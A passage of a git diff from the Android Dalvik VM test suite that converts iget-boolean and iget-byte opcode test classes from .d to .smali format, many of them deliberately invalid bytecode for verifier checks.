+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_5.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d
deleted file mode 100644
index ae3a118..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_6.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/TestStubs/<init>()V
-
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.TestStubs.TestStubField Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali
new file mode 100644
index 0000000..49fc947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_6.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d
deleted file mode 100644
index cdec059..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_7.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_7no_class.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali
new file mode 100644
index 0000000..77dd497
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_7.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d
deleted file mode 100644
index fd4ff0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_8.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_8.i1N Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali
new file mode 100644
index 0000000..766e3e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_8.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d
deleted file mode 100644
index 9b2b565..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_9.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_9
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       const v0, 0        
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_9.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali
new file mode 100644
index 0000000..5bd5876
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_9.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       const v0, 0        
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d
deleted file mode 100644
index 6dbe256..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_1.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_1
-.super java/lang/Object
-
-.field public  i1 B
-.field protected  p1 B
-.field private  pvt1 B
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.i1 B
-
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.p1 B
-
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.pvt1 B
-       
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali
new file mode 100644
index 0000000..db0ac06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_1.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+.field protected  p1:B
+.field private  pvt1:B
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d
deleted file mode 100644
index 0a13a63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_11.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_11
-.super dot/junit/opcodes/iget_byte/d/T_iget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/d/T_iget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.p1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali
new file mode 100644
index 0000000..9f6746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_11.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_11;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d
deleted file mode 100644
index 19d218b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_12.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_12
-.super dot/junit/opcodes/iget_byte/d/T_iget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/d/T_iget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.pvt1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali
new file mode 100644
index 0000000..88d52e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_12.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_12;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d
deleted file mode 100644
index f09be61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_13.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_13.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali
new file mode 100644
index 0000000..46db3f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_13.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d
deleted file mode 100644
index f33ce5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_14.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali
new file mode 100644
index 0000000..f3bfa13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_14;
+.super Ljava/lang/Object;
+.source "T_iget_byte_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-byte v0, p0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d
deleted file mode 100644
index 4564d6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_15.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali
new file mode 100644
index 0000000..896db80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_15.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d
deleted file mode 100644
index 0cd45ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_16.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali
new file mode 100644
index 0000000..b86ca97
--- /dev/null
